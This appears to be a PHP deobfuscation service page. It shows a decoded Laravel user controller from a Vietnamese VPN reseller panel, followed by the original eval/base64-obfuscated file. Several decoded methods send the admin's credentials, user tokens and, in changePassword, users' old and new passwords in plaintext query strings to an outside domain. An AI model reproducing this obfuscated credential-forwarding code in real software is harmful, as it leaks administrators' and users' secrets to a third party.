Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Dev By Hoang Skyht 18-06-2024 */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72..

Decoded Output download


namespace App\Http\Controllers\User;
use App\Http\Controllers\Controller;
use App\Http\Requests\User\UserChangePassword;
use App\Http\Requests\User\UserRecharge;
use App\Http\Requests\User\UserTransferBalance;
use App\Http\Requests\User\UserTransferCommissionBalance;
use App\Http\Requests\User\UserUpdate;
use App\Models\Logs;
use App\Models\Order;
use App\Models\Plan;
use App\Models\TrafficServerLog;
use App\Models\TrafficUserLog;
use App\Models\User;
use App\Utils\Helper;
use Illuminate\Contracts\Foundation\Application;
use Illuminate\Contracts\Routing\ResponseFactory;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\DB;
use Throwable;
class UserController extends Controller
{
public function logout(Request $request)
{
$request->session()->flush();
return response([
'data'=>true
]);
}
public function setEMAIL(Request $request)
{
$sessionId = $request->session()->get('id');
$input = $request->json()->all();
$TrangThai = null;
$ThongBao = null;
$user = User::find($sessionId);
if ($user === null) {
$TrangThai = "error";
$ThongBao = "Ngi Dng Khng Tn Ti";
}
if (isset($input['EMAILSetting'])) {
$EmailSetting = $input['EMAILSetting'];
if (isset($EmailSetting)) {
$GetEmail = filter_var($EmailSetting,FILTER_SANITIZE_EMAIL);
if (filter_var($GetEmail,FILTER_VALIDATE_EMAIL)) {
$ChangeEmail = $EmailSetting;
$existingUser = User::where('email',$ChangeEmail)->first();
if ($existingUser) {
$TrangThai = "error";
$ThongBao = "Email Ny  Tn Ti Trn H Thng";
}else {
$user->setAttribute(User::FIELD_EMAIL,$ChangeEmail);
if (!$user->save()) {
$TrangThai = "error";
$ThongBao = "Khng Th Thay i EMAIL";
}else {
$request->session()->flush();
$TrangThai = "success";
$ThongBao = "Thay i Email Mi $EmailSetting Thnh Cng";
}
}
}
else {
$TrangThai = "error";
$ThongBao = "nh Dng Email Khng Chnh Xc";
}
}else {
$TrangThai = "error";
$ThongBao = "Bn qun nhp EMAIL mi";
}
}else {
header('Content-Type: application/json');
http_response_code(400);
$TrangThai = "error";
$ThongBao = "Bn Qun Nhp EMAIL Mi Ri";
}
return response([
'TrangThai'=>$TrangThai,
'ThongBao'=>$ThongBao
]);
}
public function setSNI(Request $request)
{
$sessionId = $request->session()->get('id');
$TrangThai = null;
$inputJSON = file_get_contents('php://input');
$input = json_decode($inputJSON,TRUE);
$user = User::find($sessionId);
if ($user === null) {
$TrangThai = "Ngi Dng Khng Tn Ti";
}
if (isset($input['SNISetting'])) {
$SniSetting = $input['SNISetting'];
if ($SniSetting !== '9999') {
$SNI = $SniSetting;
$SNIName = $input['NAMESni'];
$user->setAttribute(User::FIELD_SETTINGSNI,$SNI);
$user->setAttribute(User::FIELD_SNINAME,$SNIName);
if (!$user->save()) {
$TrangThai = "Khng Th Ci t SNI";
}else {
$TrangThai = "Ci t SNI: $SNIName Thnh Cng";
}
}else {
if (isset($input['CustomSNI']) &&!empty($input['CustomSNI'])) {
$CustomSni = $input['CustomSNI'];
$user->setAttribute(User::FIELD_SETTINGSNI,$CustomSni);
$user->setAttribute(User::FIELD_SNINAME,$CustomSni);
if (!$user->save()) {
$TrangThai = "Khng Th Ci t SNI";
}else {
$TrangThai = "Ci t SNI: $CustomSni Thnh Cng";
}
}else {
$TrangThai = "Vui lng nhp gi tr SNI";
}
}
}else {
header('Content-Type: application/json');
http_response_code(400);
$TrangThai = "D liu khng hp l";
}
return response(['data'=>$TrangThai]);
}
public function changePassword(UserChangePassword $request)
{
$sessionId = $request->session()->get('id');
$reqOldPassword = $request->input('old_password');
$reqNewPassword = $request->input('new_password');
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('The user does not exist'));
}
if (!Helper::multiPasswordVerify(
$user->getAttribute(User::FIELD_PASSWORD_ALGO),
$user->getAttribute(User::FIELD_PASSWORD_SALT),
$reqOldPassword,$user->getAttribute(User::FIELD_PASSWORD))) {
abort(500,__('The old password is wrong'));
}
$SendLenWebMe =  file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/changePassword?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&token=".$user->getAttribute(User::FIELD_TOKEN)."&passwordold=".$reqOldPassword."&passwordnew=".$reqNewPassword);
$data = json_decode($SendLenWebMe,true);
if ($data['status'] == "error") {
abort(500,__($data['message']));
}
$user->setAttribute(User::FIELD_PASSWORD,password_hash($reqNewPassword,PASSWORD_DEFAULT));
$user->setAttribute(User::FIELD_PASSWORD_ALGO,NULL);
$user->setAttribute(User::FIELD_PASSWORD_SALT,NULL);
if (!$user->save()) {
abort(500,__('Save failed'));
}
$request->session()->flush();
return response([
'data'=>true
]);
}
public function ChuyenGoi(Request $request)
{
$sessionId = $request->session()->get('id');
$response = [
'Status'=>null,
'Messenger'=>null
];
$inputJSON = file_get_contents('php://input');
$input = json_decode($inputJSON,TRUE);
$user = User::find($sessionId);
if (!$user) {
return response([
'Status'=>'error',
'Messenger'=>'Ngi Dng Khng Tn Ti Trn H Thng'
]);
}
$EmailSetting = $input['eMailNhanGoi'];
if (!isset($EmailSetting)) {
return response([
'Status'=>'error',
'Messenger'=>'Ngi Nhn Khng Tn Ti'
]);
}
$GetEmail = filter_var($EmailSetting,FILTER_SANITIZE_EMAIL);
if (!filter_var($GetEmail,FILTER_VALIDATE_EMAIL)) {
return response([
'Status'=>'error',
'Messenger'=>'nh Dng Email Khng Chnh Xc'
]);
}
$emailUser = User::where(User::FIELD_EMAIL,$GetEmail)->first();
if (!$emailUser) {
return response([
'Status'=>'error',
'Messenger'=>'Email Ny Khng Tn Ti Trn H Thng'
]);
}
if ($emailUser->id === $sessionId) {
return response([
'Status'=>'error',
'Messenger'=>'Bn Khng Th Chuyn Cho Chnh Bn Thn Mnh'
]);
}
$userPlanid = (int)$user->getAttribute(User::FIELD_PLAN_ID);
if ($userPlanid == 0) {
return response([
'Status'=>'error',
'Messenger'=>'Bn Khng C Gi  Chuyn'
]);
}
if ((int)$emailUser->getAttribute(User::FIELD_PLAN_ID) != 0) {
return response([
'Status'=>'error',
'Messenger'=>'Pha Email Nhn  C Gi Dch V'
]);
}
$SendLenWebMe =  file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/ChuyenGoi?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&tokenuser=".$user->getAttribute(User::FIELD_TOKEN)."&tokennguoinhan=".$emailUser->getAttribute(User::FIELD_TOKEN));
$data = json_decode($SendLenWebMe,true);
if ($data['status'] == "error") {
abort(500,__($data['message']));
}
$emailUser->setAttribute(User::FIELD_PLAN_ID,$userPlanid);
$emailUser->setAttribute(User::FIELD_EXPIRED_AT,$user->getAttribute(User::FIELD_EXPIRED_AT));
if (!$emailUser->save()){
return response([
'Status'=>'error',
'Messenger'=>"Chuyn Gi Dch V Tht Bi"
]);
}
$user->setAttribute(User::FIELD_PLAN_ID,0);
$user->setAttribute(User::FIELD_EXPIRED_AT,null);
if($user->save()){
return response([
'Status'=>'success',
'Messenger'=>"Chuyn Gi Dch V Thnh Cng"
]);
}
}
public function info(Request $request)
{
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user == null) {
abort(500,__('The user does not exist'));
}
$SendLenWebMe =  file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/info?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&tokenuser=".$user->getAttribute(User::FIELD_TOKEN));
$data = json_decode($SendLenWebMe,true);
if ($data['status'] == "error") {
abort(500,__($data['message']));
}
$data = [
User::FIELD_ID =>$user->getAttribute(User::FIELD_ID),
User::FIELD_EMAIL =>$user->getAttribute(User::FIELD_EMAIL),
User::FIELD_LAST_LOGIN_AT =>$user->getAttribute(User::FIELD_LAST_LOGIN_AT),
User::FIELD_CREATED_AT =>$user->getAttribute(User::FIELD_CREATED_AT),
User::FIELD_BANNED =>$user->getAttribute(User::FIELD_BANNED),
User::FIELD_REMIND_TRAFFIC =>$data['data']['remind_traffic'],
User::FIELD_REMIND_EXPIRE =>$data['data']['remind_expire'],
User::FIELD_EXPIRED_AT =>$data['data']['expired_at'],
User::FIELD_BALANCE =>$user->getAttribute(User::FIELD_BALANCE),
User::FIELD_COMMISSION_BALANCE =>$user->getAttribute(User::FIELD_COMMISSION_BALANCE),
User::FIELD_PLAN_ID =>$data['data']['plan_id'],
User::FIELD_DISCOUNT =>$user->getAttribute(User::FIELD_DISCOUNT),
User::FIELD_COMMISSION_RATE =>$user->getAttribute(User::FIELD_COMMISSION_RATE),
User::FIELD_TELEGRAM_ID =>$user->getAttribute(User::FIELD_TELEGRAM_ID),
User::FIELD_SUSPEND_TYPE =>$user->getAttribute(User::FIELD_SUSPEND_TYPE),
User::FIELD_AVATAR =>$user->getAttribute(User::FIELD_AVATAR),
'is_suspend'=>$user->isSuspend(),
'recovery_at'=>$user->recoveryTime(),
];
return response([
'data'=>$data
]);
}
public function stat(Request $request)
{
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user == NULL) {
abort(500,__('The user does not exist'));
}
$stat = [
$user->countUnpaidOrders(),
$user->countUnprocessedTickets(),
];
return response([
'data'=>$stat
]);
}
public function subscribe(Request $request)
{
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('The user does not exist'));
}
$subscribeUrl = Helper::getSubscribeUrl("/api/v1/client/{$user->getAttribute(User::FIELD_TOKEN)}");
$getsub = file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/getSubscribe?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&tokenuser=".$user->getAttribute(User::FIELD_TOKEN));
$jsonData = json_decode($getsub,true);
$jsonData['subscribe_url'] = $subscribeUrl;
$jsonData[User::FIELD_SNINAME] = $user->getAttribute(User::FIELD_SNINAME);
$jsonData[User::FIELD_ID] = $user->getKey();
$jsonData[User::FIELD_EMAIL] = $user->getAttribute(User::FIELD_EMAIL);
$jsonData['IDTaiKhoan'] = $user->getAttribute(User::FIELD_ID);
$jsonData['TaiKhoan'] = $user->getAttribute(User::FIELD_EMAIL);
$jsonData['SoDu'] = $user->getAttribute(User::FIELD_BALANCE)." VN";
$jsonData['SoTienHoaHong'] = $user->getAttribute(User::FIELD_COMMISSION_BALANCE)." VN";
return response([
'data'=>$jsonData
]);
}
public function resetSecurity(Request $request)
{
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('Ngi Dng Khng Tn Ti Trn H Thng'));
}
$SendLenWebMe =  file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/resetSecurity?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&tokenuser=".$user->getAttribute(User::FIELD_TOKEN));
$data = json_decode($SendLenWebMe,true);
if ($data['status'] == "error") {
abort(500,__($data['message']));
}
$user->setAttribute(User::FIELD_UUID,$data['uuid']);
$user->setAttribute(User::FIELD_TOKEN,$data['token']);
if (!$user->save()) {
abort(500,__('Reset failed'));
}
return response([
'data'=>config('v2board.subscribe_url',config('v2board.app_url',env('APP_URL'))) .'/api/v1/client/'.$user->getAttribute(User::FIELD_TOKEN)
]);
}
public function LichSuNapTien(Request $request)
{
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('Ngi Dng Khng Tn Ti Trn H Thng'));
}
$user_id = $user->getAttribute(User::FIELD_ID);
$KiemTraLichSuNapTien = Logs::where(Logs::FIELD_USERID,$user_id)->get(['created_at','SoTien']);
if ($KiemTraLichSuNapTien->isEmpty()) {
return response()->json([
'status'=>"error",
'msg'=>"Bn Cha Tng Np Tin !"
]);
}else {
return response()->json([
'status'=>"success",
'msg'=>$KiemTraLichSuNapTien
]);
}
}
public function update(UserUpdate $request)
{
$sessionId = $request->session()->get('id');
$reqRemindExpire = $request->input("remind_expire");
$reqRemindTraffic = $request->input("remind_traffic");
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('The user does not exist'));
}
if ($reqRemindExpire !== null) {
$user->setAttribute(User::FIELD_REMIND_EXPIRE,(int)$reqRemindExpire);
}
if ($reqRemindTraffic !== null) {
$user->setAttribute(User::FIELD_REMIND_TRAFFIC,(int)$reqRemindTraffic);
}
if (!$user->save()) {
abort(500,__('Save failed'));
}
return response([
'data'=>true
]);
}
public function trafficLogs(Request $request)
{
date_default_timezone_set('Asia/Ho_Chi_Minh');
$reqCurrent = (int)$request->input('current') ?$request->input('current') : 1;
$reqPageSize = (int)$request->input('pageSize') >= 10 ?$request->input('pageSize') : 10;
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('The user does not exist'));
}
$SendLenWebMe =  file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/trafficLogs?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&tokenuser=".$user->getAttribute(User::FIELD_TOKEN)."&currents=$reqCurrent&pageSize=$reqPageSize");
$data = json_decode($SendLenWebMe,true);
if ($data['status'] == "error") {
abort(500,__($data['message']));
}
return response([
'data'=>$data['data'],
'total'=>$data['total']
]);
}
public function trafficHeatMap(Request $request)
{
date_default_timezone_set('Asia/Ho_Chi_Minh');
$reqStartAt = (int)$request->input('start_at') ?: strtotime('-365days 00:00:00');
$sessionId = $request->session()->get('id');
$user = User::find($sessionId);
if ($user === null) {
abort(500,__('The user does not exist'));
}
$SendLenWebMe =  file_get_contents("https://".config('v2board.DomainWebMe','vpndata.vn')."/api/v1/userwebcon/trafficHeatMap?domain=".$request->getHost()."&email=".config('v2board.EmailAdminWebMe')."&password=".config('v2board.MatKhauAdminWebMe')."&tokenuser=".$user->getAttribute(User::FIELD_TOKEN)."&start_at=$reqStartAt");
$data = json_decode($SendLenWebMe,true);
if ($data['status'] == "error") {
abort(500,__($data['message']));
}
return response([
'data'=>$data['data']
]);
}
};

Did this file decode correctly?

Original Code

<?php /* Dev By Hoang Skyht 18-06-2024 */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4aa0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDlkKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>HxsP|kr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tM5idBazFoyjcUnnFunFUuO0Fyxed250FM9SdoaZF1xaF2aZKXp1F2AIWbnXbri0funFW29VfukvdoxlFmYFW29VfukvdoxlFjShfbYlwryXFyxwfuOXbyklFbalF3OzbyazcbkFabYlFLYPCB5mcaniF3Y3d3kLKXp1F2AIWbnXbri0funFAMaxfBazfuYFabYlFlxaF2aZAMajDoyZc2A7tmazcUnnFunFUuO0FyxUcby1cbY0F1xaF2aZbyazcbkAFMyVF2clFLkidoyVC2A7tmazcUnnFunFUuO0FyxUcby1cbY0F1xaF2aZbyazcbkAFMyVF2clFLYvdB1pF3Ypd25tCBxidMYlKXp1F2AIWbnXbri0funFAMaxfBazfuYFabYlFlxaF2aZabnLCbOlKXp1F2AIWbnXbr1vcoaSF1xHd2fzKXp1F2AIWbnXbr1vcoaSF1xNFMOlFjShfbYlwryXFyxYd2OlduYFAoxidjShfbYlwryXFyxYd2OlduYFaukicMcpC1YlFmclFLxvczShfbYlwryXFyxYd2OlduYFaukicMcpC1azcbkHd2F7tmazcUnnFunFTB9LcBxzbyazcbw7tmazcUnnFunFabOpduYFUoaSFoaZKXp1F2AIUBxSfB1pdMy0caxed250FMyjfuYFOM91dMOifolvdlxnFunSDBYifolvdjShfbYlwrlSduasDB5ifoaFW29VfukiC3OzbykvfbOpdMfFAMazFo9VF2aoCBY0d3k5KXp1F2AIUBxSfB1pdMy0caxwfuOXbyklFbalF3W7tmazcUnkdox1dBlVCbOlbri0funFAMazFo9VF2A7tmazcUnkdox1dBlVCbOlbyY1FunvFmOFOMyjCBOlF1xrWjShfbYlwyOPFM93CBkScTShC2xiF3HIabYlFLYvdmOZd2xScbwIcbi0cB5LFZned250FM9SdoaZtmShFuaJdoljwoc1dMY0DB9Vwoxvc291ftiUcby1cbY0wtOZcby1cbY0hWp7tJOZcby1cbY0RT5zcbYzDB9VhtLsNMcSfbYPhtL7tmklfuaZdJnZcbYXd25zcUidtJfLCbOikz0+fuk1cWpfhTShgWpXfBkSDBHIcmaVC3Opd24IF2a0OA1nUAXPAMaxfBazftELFMaxfBazftLhGXPLF2azF2lvdLlLwe0IkuklFbalF3WsNmYlF3Ypd24PhU0+c2a0htfpctFpKXPLDB5XfbWINUELFMaxfBazft0+DmYvdJIpRT5idoXPhTShkyOZCB5maoiiDUE9wo51doX7tJOADo9Vc0kidZE9wo51doX7tJO1F2aZwe0IabYlFjP6cMlVctILF2azF2lvdLlLhTShDBCIhtO1F2aZwe09NUnVfBxShUn7tJOAFMyVc1OPCBLINUEJcbkZd3wJKXPLaoivdMftCB8INUEJTMgoSKo7mBLIOHK5dMFIU2jeso5mwyTiV5YVwyTiVQypwjShgWppcJEPDbYzcbWPkolVFua0BZfyTAykTyYlfuOpdMFmbULpwuShkrasCBlSA2a0folVcZE9wtOpdmn1fySmOA1nUAxTcbO0DB5mk107tMlMwtipF3YlftILOB1iDBxTcbO0DB5mhULIGXPLO2a0OB1iDBXINUnMDBx0cbkgfMyZhtOydBypdyYlfuOpdMFSOLlHaraUb1YnTLlAUapyb0aYWAlHhTShDBCIhocpduOlFl92CbwPkrflfrasCBlSRrckTyOyAl9BWAxkOryAOa9yTAykTtLpwuShkrYPCB5mcAasCBlSwe0IkrasCBlSA2a0folVczShkoa4DbY0DB5mabYlFJE9wyazcbw6KmfPcbklhtfldBypdtFSkrYPCB5mcAasCBlShU0+cMlZF3WPhTShDBCIhtOlGolzfolVc1azcbwpwuShkyOZCB5maoiiDUE9wtklFmkvFJw7tJOADo9Vc0kidZE9wtkydBypdtnKX6n5wHUWX6HIaKo7L24IaKo6PBLIauReQM4IUKo7iZnADKo7LB5mwjShgBaSF2AIGXPLfbYlFJ0+F2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb0aYWAlHRtOeDoyVc2aydBypdtL7tMlMwtIikuazcbwsNmYifMAPhULIGXPLaukidMfADoypwe0IwMaZFM9ZwjShkyOPd25mWMyvwe0IwLsPX7OVcZnADKo7IZnADoy5wHUW4dVaDUnyTAykTtw7tm1lduYlwuShkuklFbalF3WsNmYlF3Ypd24PhU0+cMx1F2IPhTShkyOZCB5maoiiDUE9wtkzfBYjcbYzwjShkyOPd25mWMyvwe0IwlOPCbLIxkeiV5apwrasCBlSwr3iV5spwtOydBypdyYlfuOp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